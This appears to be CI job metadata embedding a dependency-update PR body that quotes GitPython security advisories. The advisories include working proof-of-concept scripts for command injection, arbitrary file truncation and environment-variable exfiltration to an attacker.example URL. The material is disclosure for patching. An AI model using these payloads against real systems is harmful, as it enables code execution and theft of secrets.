          = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n    f.write(f\"#!/bin/sh\\ntouch
          {marker}\\nexit 1\\n\")  # exit 1 so git aborts after our code ran\nos.chmod(prog,
          os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare,
          bare=True)\n\n##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog>
          -> git runs <prog>\ntry:\n    Repo.clone_from(bare, os.path.join(work, \"out\"),
          upload_p=prog)\nexcept Exception:\n    pass  # git aborts with GitCommandError
          AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker))
          \ # True -> command injection confirmed\n```\n\nEquivalent at the shell:
          `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed
          behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192
          passes guard, reaches git, executes. The fix works for the form it models
          but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves
          as documented (out of scope).\n\n##### Honest scope note\n\nLike the parent
          CVE, exploitation requires a host application that flows attacker-controlled
          kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes
          only fixed/validated keys, this is not reachable \u2014 the vulnerability
          is in the library's documented defense-in-depth control (`allow_unsafe_options=False`),
          which this variant defeats.\n\nOn the `--config` family: `conf` bypasses
          the option blocklist, but weaponizing `--config protocol.ext.allow=always`
          via an `ext::` URL is independently blocked by GitPython's protocol allowlist
          (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack`
          / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n#####
          Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject
          any option whose canonical name is an unambiguous prefix of a blocked option
          (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2.
          **Disable abbreviation at the sink:** pass `--end-of-options` or invoke
          git in a way that disables long-option abbreviation.\n3. **Allowlist** option
          names on security-sensitive subcommands instead of a blocklist.\n\nRemediation
          should also cover the `-c`/`--config` family abbreviations, even though
          the `ext::` route is currently gated by the protocol allowlist.\n\n####
          Severity\n- CVSS Score: 8.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2161](https://redirect.github.com/gitpython-developers/GitPython/pull/2161)\n-
          [https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285](https://redirect.github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
          [https://github.com/advisories/GHSA-2f96-g7mh-g2hx](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-2f96-g7mh-g2hx)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: command injection via unguarded Git options in `Repo.archive()`,
          `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()`
          / `Repo.blame()`\n[GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nGitPython spawns
          the real `git` binary with an argument vector built from caller-supplied
          values. To prevent argument injection, GitPython maintains denylists of
          \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`,
          `--config`, \u2026) that can be abused to run arbitrary commands, and enforces
          them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired
          into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`,
          `Remote.push`. Several other public APIs that also forward caller-controlled
          values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream,
          treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into
          `git archive`. An attacker-influenced options mapping such as `{\"remote\":
          \".\", \"exec\": \"<cmd>\"}` becomes `git archive --remote=. --exec=<cmd>
          -- <treeish>`, and `git archive --remote=<local repo>` invokes `git-upload-archive`
          whose path is overridden by `--exec` \u2192 **arbitrary command execution
          under default Git configuration** (no `protocol.ext.allow` needed).\n\n2.
          **`repo.git.ls_remote(<url>, upload_pack=\"<cmd>\")`** (and the dynamic-command
          builder generally) turns the `upload_pack` kwarg into `--upload-pack=<cmd>`
          with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`**
          and **`Repo.blame(rev, file)`** place the caller's `rev` value into the
          argv *before* the `--` end-of-options separator and apply no leading-dash
          check. A benign-looking ref value such as `--output=/path/to/file` is parsed
          by `git rev-list` / `git blame` as the `--output` option, which **opens
          and truncates an arbitrary file** before Git even validates the revision
          \u2192 arbitrary file clobber (integrity/availability; can destroy keys,
          configs, lockfiles, or be aimed at files the host later sources).\n\nThe
          first two are direct code execution; the third is an arbitrary file-overwrite
          primitive. All share one root cause: the `check_unsafe_options` / end-of-options
          discipline that GitPython applies to clone/fetch/pull/push was never extended
          to these sinks.\n\n##### Details\n\nGitPython explicitly recognises these
          options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options
          = [\n    # Arbitrary command execution.\n    \"--upload-pack\",\n    \"--receive-pack\",\n
          \   # Arbitrary file overwrite.\n    \"--exec\",\n]\n```\n\nand enforces
          them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef
          check_unsafe_options(cls, options, unsafe_options):\n    ...\n    if unsafe_option
          is not None:\n        raise UnsafeOptionError(f\"{unsafe_option} is not
          allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options`
          is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071
          \  Remote.fetch\ngit/remote.py:1125   Remote.pull\ngit/remote.py:1198   Remote.push\ngit/repo/base.py:1410
          / :1412  Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled
          options/positionals and are **not** guarded:\n\n##### 1. `Repo.archive`
          \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self,
          ostream, treeish=None, prefix=None, **kwargs):\n    ...\n    self.git.archive(\"--\",
          treeish, *path, **kwargs)\n    return self\n```\n\n`treeish` and `path`
          are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg`
          (`git/cmd.py:1487`) into `--<name>=<value>` flags and inserted **before**
          the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive`
          already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding
          a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive
          --remote=. --exec=<cmd> -- <treeish>\n```\n\n`git archive --remote=<repo>`
          runs the upload-archive helper; `--exec=<cmd>` overrides the helper path,
          executing `<cmd>` on the host. This works with **default Git config** \u2014
          it does not rely on the `ext::` transport (which is blocked by default).\n\n#####
          2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic
          builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack`
          \u2192 `--upload-pack=<value>`. `git ls-remote <local-repo> --upload-pack=<cmd>`
          executes `<cmd>`. The dynamic builder makes **both** the flag name and value
          caller-controlled (`repo.git.<anything>(**user_dict)`), and `ls_remote`
          has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg
          gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014
          but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n#####
          3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`,
          `git/repo/base.py:1199`)\n\n```python\n\n##### Commit.iter_items (reached
          via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True,
          **kwargs)   # args_list == [\"--\", *paths]\n```\n\n```python\n\n##### Repo.blame\ndata
          = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False,
          **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash
          check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a
          value that looks like an ordinary ref/branch/tag string an app forwards
          from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git
          rev-list`/`log`/`blame` honour `--output=<file>`, which `open()`s and truncates
          the file *before* validating the revision \u2014 so the file is destroyed
          even though Git then errors out on the bad revision.\n\n##### PoC\n\nAll
          three PoCs are self-contained, run against the released **GitPython 3.1.50**
          under **default Git configuration**, and were executed live (git 2.51.0).
          Each prints a host-side marker proving the effect.\n\n##### Install\n\n```bash\npython3
          -m venv venv && . venv/bin/activate\npip install GitPython           # resolves
          to 3.1.50\npython -c \"import git; print(git.__version__)\"   # 3.1.50\n```\n\n#####
          PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n\n#####
          archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n
          \               'commit','-q','--allow-empty','-m','init'], check=True)\nrepo
          = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif
          os.path.exists(marker): os.remove(marker)\n\n##### a service lets a user
          export a repo and forwards their options dict\nopts = {'remote': '.', 'exec':
          'touch ' + marker}\ntry:\n    repo.archive(io.BytesIO(), **opts)\nexcept
          git.exc.GitCommandError as e:\n    print('[*] git exited non-zero (expected),
          but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker
          present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*]
          git exited non-zero (expected), but the exec already ran: Cmd('git') failed
          due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get
          protocol.ext.allow` returns nothing (unset = default), confirming no special
          config is required.\n\n##### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n\n#####
          lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
          check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif
          os.path.exists(marker): os.remove(marker)\ntry:\n    repo.git.ls_remote('.',
          upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n
          \   print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote
          marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*]
          git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker
          present: True\n```\n\n##### PoC 3 \u2014 arbitrary file overwrite via a
          benign-looking `rev`\n\n```python\n\n##### itercommits_filewrite.py\nimport
          os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d],
          check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'],
          check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do
          not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref
          = '--output=' + victim          # value an app forwards as a \"ref/branch\"\ntry:\n
          \   list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as
          e:\n    print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+]
          after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*]
          before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git')
          failed due to: exit code(129)\n[+] after : '' <- truncated\n```\n\n####
          Severity\n- CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2163](https://redirect.github.com/gitpython-developers/GitPython/pull/2163)\n-
          [https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738](https://redirect.github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.51)\n-
          [https://github.com/advisories/GHSA-956x-8gvw-wg5v](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-956x-8gvw-wg5v)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: Environment-variable exfiltration via os.path.expandvars() on
          Repo.clone_from() URL\n[GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n`Repo.clone_from()`
          passes the caller-supplied remote URL through `Git.polish_url()`, which
          on every non-Cygwin platform calls `os.path.expandvars()` on the URL before
          handing it to `git clone`. An attacker who controls the URL argument \u2014
          the documented use case for `clone_from()` in \"import repository from URL\"
          features of CI servers, git-hosting mirrors, and dependency scanners \u2014
          can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the
          values of the hosting process's environment variables. The resulting URL,
          now containing the secret, is transmitted over the network to the attacker-named
          host. This crosses the trust boundary between an untrusted remote URL and
          the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY`
          or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone
          URL.\n\n##### Details\n**Affected versions:** `gitpython` (PyPI) \u2014
          all releases up to and including `3.1.50` (latest at time of reporting);
          confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally
          applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py`
          (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls,
          url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n    \"\"\"Remove
          any backslashes from URLs to be written in config files.\n    ...\n    \"\"\"\n
          \   if is_cygwin is None:\n        is_cygwin = cls.is_cygwin()\n\n    if
          is_cygwin:\n        url = cygpath(url)\n    else:\n        url = os.path.expandvars(url)
          \         # <-- line 921\n        if url.startswith(\"~\"):\n            url
          = os.path.expanduser(url)\n        url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\",
          \"/\")\n    return url\n```\n\n`Repo._clone()` \u2014 reached from the public
          `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014
          runs the unsafe-protocol check on the **raw** URL and then passes the **polished**
          (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py`
          (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n
          \   Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n    Git.check_unsafe_options(options=list(kwargs.keys()),
          unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options
          and multi:\n    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc
          = git.clone(\n    multi,\n    \"--\",\n    Git.polish_url(url),          #
          <-- line 1417: expanded URL sent to `git clone`\n    clone_path,\n    ...\n)\n```\n\nBecause
          `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]`
          when set (and on Windows additionally `%NAME%`), an attacker-supplied URL
          such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis
          rewritten server-side to embed the literal secret value in the path component,
          and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token
          is placed in the host label) carrying that value to `attacker.example`.
          The clone itself will typically fail, but the secret has already left the
          server by that point.\n\n`polish_url()` was written as a local-path normalisation
          helper (Cygwin path conversion, `~` expansion, backslash fixing) and is
          applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False`
          opt-out for the clone URL, and no documentation that the URL undergoes environment
          expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid
          git url\". By contrast, the maintainers already flag env-var expansion as
          a security concern for the *local repository path* argument: `Repo.__init__`
          emits a deprecation warning (\"The use of environment variables in paths
          is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and
          offers `expand_vars=False`. The same treatment is missing for the network-bound
          clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).**
          Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line
          1408) but the *post-expansion* URL is what reaches `git`, an attacker who
          additionally controls any environment variable in the server process could
          set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X`
          passes the `ext::` filter, then expands to an `ext::` remote-helper transport
          that `git` will execute. This requires a second precondition (env-var write)
          and is noted as an aggravating factor rather than a separate vulnerability.\n\n#####
          PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git`
          on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip
          install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n\n#!/usr/bin/env
          python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from()
          URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis
          passed through os.path.expandvars() before being given to `git clone`,\nso
          `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable
          values and transmitted to the attacker-named host.\n\nThe PoC intercepts
          the Popen argv to show the exact URL handed to `git`\nwithout performing
          real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport
          tempfile\n\n##### Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"]
          = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git                              #
          noqa: E402\nfrom git import Git, Repo               # noqa: E402\n\nprint(f\"gitpython
          version: {git.__version__}\")\n\n##### --- Layer 1: Git.polish_url() directly
          --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished
          = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\"
          \ input : {attacker_url}\")\nprint(f\"  output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"]
          in polished:\n    print(\"  -> secret SUBSTITUTED into URL by polish_url()\")\n\n#####
          --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured
          = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n
          \   def __init__(self, cmd, *a, **kw):\n        if isinstance(cmd, (list,
          tuple)) and \"clone\" in cmd:\n            captured[\"cmd\"] = list(cmd)\n
          \       super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport
          git.cmd as gitcmd                # noqa: E402\ngitcmd.safer_popen = CapturingPopen
          \    # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n
          \   Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception
          as e:\n    # The clone fails (attacker.example does not resolve); we only
          need argv.\n    print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen
          = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor
          tok in captured.get(\"cmd\", []):\n    print(f\"  {tok}\")\n\ncmd = captured.get(\"cmd\",
          [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer
          2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif
          url_arg and secret in url_arg:\n    print(\n        \"\\nVULNERABLE: server
          env var AWS_SECRET_ACCESS_KEY was interpolated \"\n        \"into the remote
          clone URL; git would transmit it to attacker.example.\"\n    )\n    sys.exit(0)\nprint(\"\\nNOT
          VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version:
          3.1.50\n\n[Layer 1] polish_url result:\n  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n
          \ output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
          \ -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from
          raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone`
          subprocess:\n  git\n  clone\n  -v\n  --\n  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n
          \ /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE:
          server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone
          URL; git would transmit it to attacker.example.\n```\n\nThe captured argv
          is the exact command line spawned by GitPython; against a real attacker-controlled
          host, `git` would issue a DNS lookup and HTTP(S) request to that host with
          the secret embedded in the request path.\n\n##### Impact\nAny application
          that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly
          or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror
          repository from URL\" features in CI systems, source-code hosting platforms,
          dependency scanners, and build pipelines \u2014 allows an unauthenticated
          or low-privileged attacker to exfiltrate arbitrary environment variables
          from the server process, one per request, by naming them in the URL. Cloud
          credentials, API tokens, and signing keys stored in the environment are
          the primary targets. Applications that do not accept clone URLs from untrusted
          sources, or that run the cloner in a process with a fully stripped environment,
          are not affected. There is no direct integrity or availability impact.\n\n**Suggested
          fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call
          from `Git.polish_url()` for inputs that are remote URLs (contain `://` or
          match `user@host:path`), or remove the expansion entirely and require callers
          who want local-path env expansion to perform it themselves \u2014 mirroring
          the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally,
          apply `check_unsafe_protocols()` to the *post-transformation* URL so no
          future `polish_url` change can silently bypass the `ext::` filter.\n\n####
          Severity\n- CVSS Score: 7.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n####
          References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573)\n-
          [https://github.com/gitpython-developers/GitPython/pull/2172](https://redirect.github.com/gitpython-developers/GitPython/pull/2172)\n-
          [https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.52)\n-
          [https://github.com/advisories/GHSA-rwj8-pgh3-r573](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-rwj8-pgh3-r573)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          GitPython: git-config section-name injection enables arbitrary config directives
          (core.sshCommand RCE)\n[GHSA-3rp5-jjmw-4wv2](https://redirect.github.com/advisories/GHSA-3rp5-jjmw-4wv2)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nIn GitPython `<=
          3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration
          **names**, but writes section names into the `[...]` header with no other
          escaping. A section/subsection name that contains `] [ \"` closes the intended
          header and opens a second same-line section, injecting an arbitrary config
          directive \u2014 with no newline required. Because a submodule **name**
          is attacker-controlled data (it comes from a repository's `.gitmodules`,
          or from an application that lets a user name a submodule) and is written
          verbatim into the parent repository's trusted `.git/config`, an attacker
          can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`)
          and achieve remote code execution on the victim's next git operation. Likely
          **CWE-74 (Inject\n\n> \u2702 **Note**\n> \n> PR body was truncated to here.\n"
        change_url: https://github.com/osism/pulpfiction/pull/10
        commit_id: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
        patchset: c8954fa4dba3805bcb75345d9aae2b0ccca2c87c
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          name: osism/pulpfiction
          short_name: pulpfiction
          src_dir: src/github.com/osism/pulpfiction
        topic: null
      job: yamllint
      jobtags: []
      max_attempts: 3
      message: VXBkYXRlIGRlcGVuZGVuY3kgR2l0UHl0aG9uIHRvIHYzLjEuNTcgW1NFQ1VSSVRZXQoKPiDihLnvuI8gKipOb3RlKioKPiAKPiBUaGlzIFBSIGJvZHkgd2FzIHRydW5jYXRlZCBkdWUgdG8gcGxhdGZvcm0gbGltaXRzLgoKVGhpcyBQUiBjb250YWlucyB0aGUgZm9sbG93aW5nIHVwZGF0ZXM6Cgp8IFBhY2thZ2UgfCBDaGFuZ2UgfCBbQWdlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8IFtDb25maWRlbmNlXShodHRwczovL2RvY3MucmVub3ZhdGVib3QuY29tL21lcmdlLWNvbmZpZGVuY2UvKSB8CnwtLS18LS0tfC0tLXwtLS18CnwgW0dpdFB5dGhvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbikgfCBgPT0zLjEuNDRgIOKGkiBgPT0zLjEuNTdgIHwgIVthZ2VdKGh0dHBzOi8vZGV2ZWxvcGVyLm1lbmQuaW8vYXBpL21jL2JhZGdlcy9hZ2UvcHlwaS9naXRweXRob24vMy4xLjU3P3NsaW09dHJ1ZSkgfCAhW2NvbmZpZGVuY2VdKGh0dHBzOi8vZGV2ZWxvcGVyLm1lbmQuaW8vYXBpL21jL2JhZGdlcy9jb25maWRlbmNlL3B5cGkvZ2l0cHl0aG9uLzMuMS40NC8zLjEuNTc/c2xpbT10cnVlKSB8CgotLS0KCiMjIyBHaXRQeXRob24gaGFzIENvbW1hbmQgSW5qZWN0aW9uIHZpYSBHaXQgb3B0aW9ucyBieXBhc3MKW0NWRS0yMDI2LTQyMjE1XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi00MjIxNSkgLyBbR0hTQS1ycG01LTY1Y3ctNmhqNF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1ycG01LTY1Y3ctNmhqNCkKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKR2l0UHl0aG9uIGJsb2NrcyBkYW5nZXJvdXMgR2l0IG9wdGlvbnMgc3VjaCBhcyBgLS11cGxvYWQtcGFja2AgYW5kIGAtLXJlY2VpdmUtcGFja2AgYnkgZGVmYXVsdCwgYnV0IHRoZSBlcXVpdmFsZW50IFB5dGhvbiBrd2FyZ3MgYHVwbG9hZF9wYWNrYCBhbmQgYHJlY2VpdmVfcGFja2AgYnlwYXNzIHRoYXQgY2hlY2suIElmIGFuIGFwcGxpY2F0aW9uIHBhc3NlcyBhdHRhY2tlci1jb250cm9sbGVkIGt3YXJncyBpbnRvIGBSZXBvLmNsb25lX2Zyb20oKWAsIGBSZW1vdGUuZmV0Y2goKWAsIGBSZW1vdGUucHVsbCgpYCwgb3IgYFJlbW90ZS5wdXNoKClgLCB0aGlzIGxlYWRzIHRvIGFyYml0cmFyeSBjb21tYW5kIGV4ZWN1dGlvbiBldmVuIHdoZW4gYGFsbG93X3Vuc2FmZV9vcHRpb25zYCBpcyBsZWZ0IGF0IGl0cyBkZWZhdWx0IHZhbHVlIG9mIGBGYWxzZWAuCgojIyMjIyBEZXRhaWxzCkdpdFB5dGhvbiBleHBsaWNpdGx5IHRyZWF0cyBoZWxwZXItY29tbWFuZCBvcHRpb25zIGFzIHVuc2FmZSBiZWNhdXNlIHRoZXkgY2FuIGJlIHVzZWQgdG8gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHM6CgotIGBnaXQvcmVwby9iYXNlLnB5OjE0NS0xNTNgIG1hcmtzIGNsb25lIG9wdGlvbnMgc3VjaCBhcyBgLS11cGxvYWQtcGFja2AsIGAtdWAsIGAtLWNvbmZpZ2AsIGFuZCBgLWNgIGFzIHVuc2FmZS4KLSBgZ2l0L3JlbW90ZS5weTo1MzUtNTQ4YCBtYXJrcyBmZXRjaC9wdWxsL3B1c2ggb3B0aW9ucyBzdWNoIGFzIGAtLXVwbG9hZC1wYWNrYCwgYC0tcmVjZWl2ZS1wYWNrYCwgYW5kIGAtLWV4ZWNgIGFzIHVuc2FmZS4KClRoZSB2dW